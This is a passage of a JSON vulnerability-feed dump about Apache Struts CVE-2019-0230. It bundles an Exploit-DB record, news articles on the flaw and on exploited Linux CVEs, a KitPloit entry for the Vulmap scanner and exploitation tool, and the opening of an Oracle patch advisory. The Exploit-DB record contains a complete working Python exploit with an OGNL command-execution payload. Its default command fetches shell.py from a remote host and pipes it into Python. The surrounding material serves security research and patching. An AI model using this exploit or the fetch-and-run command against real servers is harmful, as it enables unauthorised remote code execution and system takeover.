"2023-12-07T15:42:11", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-17T00:00:00", "type": "exploitdb", "title": "Apache Struts 2.5.20 - Double OGNL evaluation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2019-0230", "CVE-2019-0230", "CVE-2020-0230"], "modified": "2020-11-17T00:00:00", "id": "EDB-ID:49068", "href": "https://www.exploit-db.com/exploits/49068", "sourceData": "# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation\r\n# Date: 08/18/2020\r\n# Exploit Author: West Shepherd\r\n# Vendor Homepage: https://struts.apache.org/download.cgi\r\n# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)\r\n# CVE : CVE-2019-0230\r\n# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.\r\n# Source(s):\r\n# https://github.com/PrinceFPF/CVE-2019-0230\r\n# https://cwiki.apache.org/confluence/display/WW/S2-059\r\n# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22\r\n\r\n# !/usr/bin/python\r\nfrom sys import argv, exit, stdout, stderr\r\nimport argparse\r\nimport requests\r\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\r\nimport logging\r\n\r\n\r\nclass Exploit:\r\n def __init__(\r\n self,\r\n target='',\r\n redirect=False,\r\n proxy_address=''\r\n ):\r\n requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\r\n self.target = target\r\n self.session = requests.session()\r\n self.redirect = redirect\r\n self.timeout = 0.5\r\n self.proxies = {\r\n 'http': 'http://%s' % proxy_address,\r\n 'https': 'http://%s' % proxy_address\r\n } \\\r\n if proxy_address is not None \\\r\n and proxy_address != '' else {}\r\n self.query_params = {}\r\n self.form_values = {}\r\n self.cookies = {}\r\n boundary = \"---------------------------735323031399963166993862150\"\r\n self.headers = {\r\n 'Content-Type': 'multipart/form-data; boundary=%s' % boundary,\r\n 'Accept': '*/*',\r\n 'Connection': 'close'\r\n }\r\n payload = \"%{(#nike='multipart/form-data').\" \\\r\n \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\" \\\r\n \"(#_memberAccess?(#_memberAccess=#dm):\" \\\r\n\r\n\"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\r\n\\\r\n\r\n\"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\"\r\n\\\r\n \"(#ognlUtil.getExcludedPackageNames().clear()).\" \\\r\n \"(#ognlUtil.getExcludedClasses().clear()).\" \\\r\n \"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').\" \\\r\n\r\n\"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\"\r\n\\\r\n\r\n\"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\" \\\r\n \"(#p=new\r\njava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).\" \\\r\n\r\n\"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().\"\r\n\\\r\n\r\n\"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\"\r\n\\\r\n \"(#ros.flush())}\"\r\n\r\n self.payload = \"--%s\\r\\nContent-Disposition: form-data;\r\nname=\\\"foo\\\"; \" \\\r\n \"filename=\\\"%s\\0b\\\"\\r\\nContent-Type:\r\ntext/plain\\r\\n\\r\\nx\\r\\n--%s--\\r\\n\\r\\n\" % (\r\n boundary, payload, boundary\r\n )\r\n\r\n def do_get(self, url, params=None, data=None):\r\n return self.session.get(\r\n url=url,\r\n verify=False,\r\n allow_redirects=self.redirect,\r\n headers=self.headers,\r\n cookies=self.cookies,\r\n proxies=self.proxies,\r\n data=data,\r\n params=params\r\n )\r\n\r\n def do_post(self, url, data=None, params=None):\r\n return self.session.post(\r\n url=url,\r\n data=data,\r\n verify=False,\r\n allow_redirects=self.redirect,\r\n headers=self.headers,\r\n cookies=self.cookies,\r\n proxies=self.proxies,\r\n params=params\r\n )\r\n\r\n def debug(self):\r\n try:\r\n import http.client as http_client\r\n except ImportError:\r\n import httplib as http_client\r\n http_client.HTTPConnection.debuglevel = 1\r\n logging.basicConfig()\r\n logging.getLogger().setLevel(logging.DEBUG)\r\n requests_log = logging.getLogger(\"requests.packages.urllib3\")\r\n requests_log.setLevel(logging.DEBUG)\r\n requests_log.propagate = True\r\n return self\r\n\r\n def send_payload(self, command='curl --insecure -sv\r\nhttps://10.10.10.10/shell.py|python -'):\r\n url = self.target\r\n stdout.write('sending payload to %s payload %s' % (url, command))\r\n resp = self.do_post(url=url, params=self.query_params,\r\ndata=self.payload.replace('{COMMAND}', command))\r\n return resp\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(add_help=True,\r\n description='CVE-2020-0230 Struts\r\n2 exploit')\r\n try:\r\n parser.add_argument('-target', action='store', help='Target\r\naddress: http(s)://target.com/index.action')\r\n parser.add_argument('-command', action='store',\r\n help='Command to execute: touch /tmp/pwn')\r\n parser.add_argument('-debug', action='store', default=False,\r\nhelp='Enable debugging: False')\r\n parser.add_argument('-proxy', action='store', default='',\r\nhelp='Enable proxy: 10.10.10.10:8080')\r\n\r\n if len(argv) == 1:\r\n parser.print_help()\r\n exit(1)\r\n options = parser.parse_args()\r\n\r\n exp = Exploit(\r\n proxy_address=options.proxy,\r\n target=options.target\r\n )\r\n\r\n if options.debug:\r\n exp.debug()\r\n stdout.write('target %s debug %s proxy %s\\n' % (\r\n options.target, options.debug, options.proxy\r\n ))\r\n\r\n result = exp.send_payload(command=options.command)\r\n stdout.write('Response: %d\\n' % result.status_code)\r\n\r\n except Exception as error:\r\n\r\nstderr.write('error in main %s' % str(error))", "sourceHref": "https://www.exploit-db.com/raw/49068", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2020-10-14T22:21:14", "description": "Proof-of-concept exploit code surfaced on GitHub on Friday, raising the stakes on two existing Apache Struts 2 bugs that allow for remote code-execution and denial-of-service attacks on vulnerable installations.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) issued an alert regarding the two bugs, tracked as [CVE-2019-0230](<https://cwiki.apache.org/confluence/display/WW/S2-059>) and [CVE-2019-0233](<https://cwiki.apache.org/confluence/display/WW/S2-060>). Impacted are Apache Struts versions 2.0.0 through 2.5.20. Remediation includes upgrading to Struts 2.5.22, according to the Apache Struts Security Team.\n\nStruts 2 is an open-source coding framework and library for enterprise developers popular with developers and companies when creating Java-based applications. Both the exploitable vulnerabilities in question were fixed last November. \n[](<https://threatpost.com/newsletter-sign/>) \nResearchers have warned of outdated installations of Apache Struts 2 and that [if left unpatched](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>) they can open the door to more critical holes similar to a bug at the root of the [massive Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)).\n\n## **PoC Released to GitHub**\n\nThe proof-of-concept (PoC) [released this week ](<https://github.com/cellanu/cve-2019-0230>)raises the greatest concern with CVE-2019-0230, originally rated important when first uncovered by Matthias Kaiser at Apple Information Security. The bug is triggered when a threat actor sends a malicious Object-Graph Navigation Language (OGNL) expressions that can then open the door for a remote code-execution attack, according to the security bulletin. OGNL is a Java language that can let attackers access data objects, and then use them to create and inject server-side code.\n\n\u201cSuccessful exploitation of the most severe of these vulnerabilities (CVE-2019-0230) could allow for remote code-execution in the context of the affected application. Depending on the privileges associated with the application, an attacker could install programs; view, change or delete data; or create new accounts with full user rights,\u201d according to a bulletin issued Friday by the Multi-State Information Sharing & Analysis Center at the Center for Internet Security.\n\nWhile the PoC attack and exploit posted to GitHub targets CVE-2019-0230, the Apache Struts Security Team also urged users to patch for the DoS bug (CVE-2019-0233). The vulnerability affects the write permissions of file directories that could lead to conditions ripe for a DoS attack.\n\nAccording to the Apache Struts 2 Wiki description of the bug, this flaw can be triggered with a file upload to a Strut\u2019s Action that exposes the file.\n\n\u201cAn attacker may manipulate the request such that the working copy of the uploaded file is set to read-only. As a result, subsequent actions on the file will fail with an error. It might also be possible to set the Servlet container\u2019s temp directory to read only, such that subsequent upload actions will fail,\u201d [according the description](<https://cwiki.apache.org/confluence/display/WW/S2-060>).\n\nThe Apache security bulletin recommends upgrading to the most recent version of Apache Struts. It also suggests security teams verify no unauthorized system modifications have occurred on the system before applying the patch, and they run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack.\n\n**_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary [Threatpost eBook](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>), 2020 in Security: Four Stories from the New Threat Landscape, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. [Click here to download our eBook now](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)._**\n", "cvss3": {}, "published": "2020-08-14T21:20:01", "type": "threatpost", "title": "PoC Exploit Targeting Apache Struts Surfaces on GitHub", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2019-0230", "CVE-2019-0233", "CVE-2020-5135"], "modified": "2020-08-14T21:20:01", "id": "THREATPOST:0DD2AEA1738F9B6612B1C845F3BC949F", "href": "https://threatpost.com/poc-exploit-github-apache-struts/158393/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg>)\n\nClose to 14 million Linux-based systems are directly exposed to the Internet, making them a lucrative target for an array of real-world attacks that could result in the deployment of malicious web shells, coin miners, ransomware, and other trojans.\n\nThat's according to an in-depth look at the Linux threat landscape published by U.S.-Japanese cybersecurity firm [Trend Micro](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/linux-threat-report-2021-1h-linux-threats-in-the-cloud-and-security-recommendations>), detailing the top threats and vulnerabilities affecting the operating system in the first half of 2021, based on data amassed from honeypots, sensors, and anonymized telemetry.\n\nThe company, which detected nearly 15 million malware events aimed at Linux-based cloud environments, found coin miners and ransomware to make up 54% of all malware, with web shells accounting for a 29% share.\n\nIn addition, by dissecting over 50 million events reported from 100,000 unique Linux hosts during the same time period, the researchers found 15 different security weaknesses that are known to be actively exploited in the wild or have a proof of concept (PoC) \u2014\n\n * [**CVE-2017-5638**](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) (CVSS score: 10.0) - Apache Struts 2 remote code execution (RCE) vulnerability\n * [**CVE-2017-9805**](<https://nvd.nist.gov/vuln/detail/CVE-2017-9805>) (CVSS score: 8.1) - Apache Struts 2 REST plugin XStream RCE vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal Core RCE vulnerability\n * [**CVE-2020-14750**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14750>) (CVSS score: 9.8) - Oracle WebLogic Server RCE vulnerability\n * [**CVE-2020-25213**](<https://nvd.nist.gov/vuln/detail/CVE-2020-25213>) (CVSS score: 10.0) - WordPress File Manager (wp-file-manager) plugin RCE vulnerability\n * [**CVE-2020-17496**](<https://nvd.nist.gov/vuln/detail/CVE-2020-17496>) (CVSS score: 9.8) - vBulletin 'subwidgetConfig' unauthenticated RCE vulnerability\n * [**CVE-2020-11651**](<https://nvd.nist.gov/vuln/detail/CVE-2020-11651>) (CVSS score: 9.8) - SaltStack Salt authorization weakness vulnerability\n * [**CVE-2017-12611**](<https://nvd.nist.gov/vuln/detail/CVE-2017-12611>) (CVSS score: 9.8) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2017-7657**](<https://nvd.nist.gov/vuln/detail/CVE-2017-7657>) (CVSS score: 9.8) - Eclipse Jetty chunk length parsing integer overflow vulnerability\n * [**CVE-2021-29441**](<https://nvd.nist.gov/vuln/detail/CVE-2021-29441>) (CVSS score: 9.8) - Alibaba Nacos AuthFilter authentication bypass vulnerability\n * [**CVE-2020-14179**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14179>) (CVSS score: 5.3) - Atlassian Jira information disclosure vulnerability \n * [**CVE-2013-4547**](<https://nvd.nist.gov/vuln/detail/CVE-2013-4547>) (CVSS score: 8.0) - Nginx crafted URI string handling access restriction bypass vulnerability\n * [**CVE-2019-0230**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0230>) (CVSS score: 9.8) - Apache Struts 2 RCE vulnerability\n * [**CVE-2018-11776**](<https://nvd.nist.gov/vuln/detail/CVE-2018-11776>) (CVSS score: 8.1) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2020-7961**](<https://nvd.nist.gov/vuln/detail/CVE-2020-7961>) (CVSS score: 9.8) - Liferay Portal untrusted deserialization vulnerability\n\n[](<https://thehackernews.com/images/-CcxYro041Ss/YSOhRgK85gI/AAAAAAAADmo/EddtTNpqRVsnxWJ2QLdym3CSkEJDwcSggCLcBGAsYHQ/s0/report-1.jpg>)\n\n[](<https://thehackernews.com/images/-p0iNN7yORLk/YSOhRABhMqI/AAAAAAAADmk/RQED6fXWrDkadRhDxqU0JzZOoWwJePPkQCLcBGAsYHQ/s0/report-.jpg>)\n\nEven more troublingly, the 15 most commonly used Docker images on the official Docker Hub repository has been revealed to harbor hundreds of vulnerabilities spanning across python, node, wordpress, golang, nginx, postgres, influxdb, httpd, mysql, debian, memcached, redis, mongo, centos, and rabbitmq, underscoring the need to [secure containers](<https://www.trendmicro.com/vinfo/us/security/news/security-technology/container-security-examining-potential-threats-to-the-container-environment>) from a wide range of potential threats at each stage of the development pipeline.\n\n\"Users and organizations should always apply security best practices, which include utilizing the security by design approach, deploying multilayered virtual patching or vulnerability shielding, employing the principle of least privilege, and adhering to the shared responsibility model,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-23T13:27:00", "type": "thn", "title": "Top 15 Vulnerabilities Attackers Exploited Millions of Times to Hack Linux Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4547", "CVE-2017-12611", "CVE-2017-5638", "CVE-2017-7657", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-7600", "CVE-2019-0230", "CVE-2020-11651", "CVE-2020-14179", "CVE-2020-14750", "CVE-2020-17496", "CVE-2020-25213", "CVE-2020-7961", "CVE-2021-29441"], "modified": "2021-08-23T13:27:54", "id": "THN:7FD924637D99697D78D53283817508DA", "href": "https://thehackernews.com/2021/08/top-15-vulnerabilities-attackers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "kitploit": [{"lastseen": "2023-12-07T20:52:38", "description": "[](<https://1.bp.blogspot.com/-KABdDCvkQwg/X-K8tydG2pI/AAAAAAAAUvc/dR5VJ69ZRm8wEgBjOLkEBdJ3-MPZhg0TQCNcBGAsYHQ/s678/vulmap.png>)\n\n \n\n\nVulmap is a vulnerability scanning tool that can scan for vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually exists.\n\nVulmap currently has vulnerability scanning (poc) and exploiting (exp) modes. Use \"-m\" to select which mode to use, and the default poc mode is the default. In poc mode, it also supports \"-f\" batch target scanning, \"-o\" File output results and other main functions, Other functions [Options](<https://github.com/zhzyker/vulmap/#options>) Or python3 vulmap.py -h, the Poc function will no longer be provided in the exploit exploit mode, but the exploit will be carried out directly, and the exploit result will be fed back to further verify whether the vulnerability exists and whether it can be exploited.\n\n**Try to use \"-a\" to establish target types to reduce false positives, such as \"-a solr\"**\n\n \n\n\n### Installation\n\nThe operating system must have python3, python3.7 or higher is recommended\n\n * Installation dependency\n \n \n pip3 install -r requirements.txt\n \n\n * Linux & MacOS & Windows\n \n \n python3 vulmap.py -u http://example.com\n \n\n \n\n\n### Options\n \n \n optional arguments:\n -h, --help show this help message and exit\n -u URL, --url URL Target URL (e.g. -u \"http://example.com\")\n -f FILE, --file FILE Select a target list file, and the url must be distinguished by lines (e.g. -f \"/home/user/list.txt\")\n -m MODE, --mode MODE The mode supports \"poc\" and \"exp\", you can omit this option, and enter poc mode by default\n -a APP, --app APP Specify a web app or cms (e.g. -a \"weblogic\"). default scan all\n -c CMD, --cmd CMD Custom RCE vuln command, Other than \"netstat -an\" and \"id\" can affect program judgment. defautl is \"netstat -an\"\n -v VULN, --vuln VULN Exploit, Specify the vuln number (e.g. -v \"CVE-2020-2729\")\n --list Displays a list of vulnerabilities that support scanning\n --debug Debug mode echo request and responses\n --delay DELAY Delay check time, default 0s\n --timeout TIMEOUT Scan timeout time, default 10s\n --output FILE Text mode export (e.g. -o \"result.txt\")\n \n\n \n\n\n### Examples\n\nTest all vulnerabilities poc mode\n \n \n python3 vulmap.py -u http://example.com\n \n\nFor RCE vuln, use the \"id\" command to test the vuln, because some linux does not have the \"netstat -an\" command\n \n \n python3 vulmap.py -u http://example.com -c \"id\"\n \n\nCheck <http://example.com> for struts2 vuln\n \n \n python3 vulmap.py -u http://example.com -a struts2\n \n \n \n python3 vulmap.py -u http://example.com -m poc -a struts2\n \n\nExploit the CVE-2019-2729 vuln of WebLogic on <http://example.com:7001>\n \n \n python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729\n \n \n \n python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729\n \n\nBatch scan URLs in list.txt\n \n \n python3 vulmap.py -f list.txt\n \n\nExport scan results to result.txt\n \n \n python3 vulmap.py -u http://example.com:7001 -o result.txt\n \n\n \n\n\n### Vulnerabilitys List\n\nVulmap supported vulnerabilities are as follows\n \n \n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Target type | Vuln Name | Poc | Exp | Impact Version && Vulnerability description |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Apache Shiro | CVE-2016-4437 | Y | Y | <= 1.2.4, shiro-550, rememberme deserialization rce |\n | Apache Solr | CVE-2017-12629 | Y | Y | < 7.1.0, runexecutablelistener rce & xxe, only rce is here |\n | Apache Solr | CVE-2019-0193 | Y | N | < 8.2.0, dataimporthandler module remote code execution |\n | Apache Solr | CVE-2019-17558 | Y | Y | 5.0.0 - 8.3.1, velocity response writer rce |\n | Apache Struts2 | S2-005 | Y | Y | 2.0.0 - 2.1.8.1, cve-2010-1870 parameters interceptor rce |\n | Apache Struts2 | S2-008 | Y | Y | 2.0.0 - 2.3.17, debugging interceptor rce |\n | Apache Struts2 | S2-009 | Y | Y | 2.1.0 - 2.3.1.1, cve-2011-3923 ognl interpreter rce |\n | Apache Struts2 | S2-013 | Y | Y | 2.0.0 - 2.3.14.1, cve-2013-1966 ognl interpreter rce |\n | Apache Struts2 | S2-015 | Y | Y | 2.0.0 - 2.3.14.2, cve-2013-2134 ognl interpreter rce |\n | Apache Struts2 | S2-016 | Y | Y | 2.0.0 - 2.3.15, cve-2013-2251 ognl interpreter rce |\n | Apache Struts2 | S2-029 | Y | Y | 2.0.0 - 2.3.24.1, ognl interpreter rce |\n | Apache Struts2 | S2-032 | Y | Y | 2.3.20-28, cve-2016-3081 rce can be performed via method |\n | Apache Struts2 | S2-045 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-046 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-048 | Y | Y | 2.3.x, cve-2017-9791 struts2-struts1-plugin rce |\n | Apache Struts2 | S2-052 | Y | Y | 2.1.2 - 2.3.33, 2.5 - 2.5.12 cve-2017-9805 rest plugin rce |\n | Apache Struts2 | S2-057 | Y | Y | 2.0.4 - 2.3.34, 2.5.0-2.5.16, cve-2018-11776 namespace rce |\n | Apache Struts2 | S2-059 | Y | Y | 2.0.0 - 2.5.20 cve-2019-0230 ognl interpreter rce |\n | Apache Struts2 | S2-devMode | Y | Y | 2.1.0 - 2.5.1, devmode remote code execution |\n | Apache Tomcat | Examples File | Y | N | all version, /examples/servlets/servlet/SessionExample |\n | Apache Tomcat | CVE-2017-12615 | Y | Y | 7.0.0 - 7.0.81, put method any files upload |\n | Apache Tomcat | CVE-2020-1938 | Y | Y | 6, 7 < 7.0.100, 8 < 8.5.51, 9 < 9.0.31 arbitrary file read |\n | Drupal | CVE-2018-7600 | Y | Y | 6.x, 7.x, 8.x, drupalgeddon2 remote code execution |\n | Drupal | CVE-2018-7602 | Y | Y | < 7.59, < 8.5.3 (except 8.4.8) drupalgeddon2 rce |\n | Drupal | CVE-2019-6340 | Y | Y | < 8.6.10, drupal core restful remote code execution |\n | Jenkins | CVE-2017-1000353 | Y | N | <= 2.56, LTS <= 2.46.1, jenkins-ci remote code execution |\n | Jenkins | CVE-2018-1000861 | Y | Y | <= 2.153, LTS <= 2.138.3, remote code execution |\n | Nexus OSS/Pro | CVE-2019-7238 | Y | Y | 3.6.2 - 3.14.0, remote code execution vulnerability |\n | Nexus OSS/Pro | CVE-2020-10199 | Y | Y | 3.x <= 3.21.1, remote code execution vulnerability |\n | Oracle Weblogic | CVE-2014-4210 | Y | N | 10.0.2 - 10.3.6, weblogic ssrf vulnerability |\n | Oracle Weblogic | CVE-2017-3506 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.0-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2017-10271 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.1-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2018-2894 | Y | Y | 12.1.3.0, 12.2.1.2-3, deserialization any file upload |\n | Oracle Weblogic | CVE-2019-2725 | Y | Y | 10.3.6.0, 12.1.3.0, weblogic wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2019-2729 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3 wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2020-2551 | Y | N | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, wlscore deserialization rce |\n | Oracle Weblogic | CVE-2020-2555 | Y | Y | 3.7.1.17, 12.1.3.0.0, 12.2.1.3-4.0, t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-2883 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, iiop t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-14882 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, 14.1.1.0.0, console rce |\n | RedHat JBoss | CVE-2010-0738 | Y | Y | 4.2.0 - 4.3.0, jmx-console deserialization any files upload |\n | RedHat JBoss | CVE-2010-1428 | Y | Y | 4.2.0 - 4.3.0, web-console deserialization any files upload |\n | RedHat JBoss | CVE-2015-7501 | Y | Y | 5.x, 6.x, jmxinvokerservlet deserialization any file upload |\n | ThinkPHP | CVE-2019-9082 | Y | Y | < 3.2.4, thinkphp rememberme deserialization rce |\n | ThinkPHP | CVE-2018-20062 | Y | Y | <= 5.0.23, 5.1.31, thinkphp rememberme deserialization rce |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n \n\n \n\n\n### Docker\n \n \n docker build -t vulmap/vulmap .\n docker run --rm -ti vulmap/vulmap python vulmap.py -u https://www.example.com\n\n \n\n\n \n \n\n\n**[Download Vulmap](<https://github.com/zhzyker/vulmap> \"Download Vulmap\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-25T11:30:00", "type": "kitploit", "title": "Vulmap - Web Vulnerability Scanning And Verification Tools", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-0738", "CVE-2010-1428", "CVE-2010-1870", "CVE-2011-3923", "CVE-2013-1966", "CVE-2013-2134", "CVE-2013-2251", "CVE-2014-4210", "CVE-2015-7501", "CVE-2016-3081", "CVE-2016-4437", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-12615", "CVE-2017-12629", "CVE-2017-3506", "CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-20062", "CVE-2018-2894", "CVE-2018-7600", "CVE-2018-7602", "CVE-2019-0193", "CVE-2019-0230", "CVE-2019-17558", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-6340", "CVE-2019-7238", "CVE-2019-9082", "CVE-2020-10199", "CVE-2020-14882", "CVE-2020-1938", "CVE-2020-2551", "CVE-2020-2555", "CVE-2020-2729", "CVE-2020-2883"], "modified": "2020-12-25T11:30:06", "id": "KITPLOIT:5420210148456420402", "href": "http://www.kitploit.com/2020/12/vulmap-web-vulnerability-scanning-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "oracle": [{"lastseen": "2023-12-07T20:10:36", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches address vulnerabilities in Oracle code and in third-party components included in Oracle products. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Refer to [\u201cCritical Patch Updates, Security Alerts and Bulletins\u201d](<https://www.oracle.com/security-alerts/>) for information about Oracle Security advisories. \n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 329 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ January 2021 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2739494.1>).\n\n**Please note that since the release of the October 2020 Critical Patch Update, Oracle has released a Security Alert for Oracle WebLogic Server: [CVE-2020-14750 (November 1, 2020)](<https://www.oracle.com/security-alerts/alert-cve-2020-14750.html>). Customers are strongly advised to apply this Critical Patch Update, which includes patches for this Alert as well as additional patches.**\n", 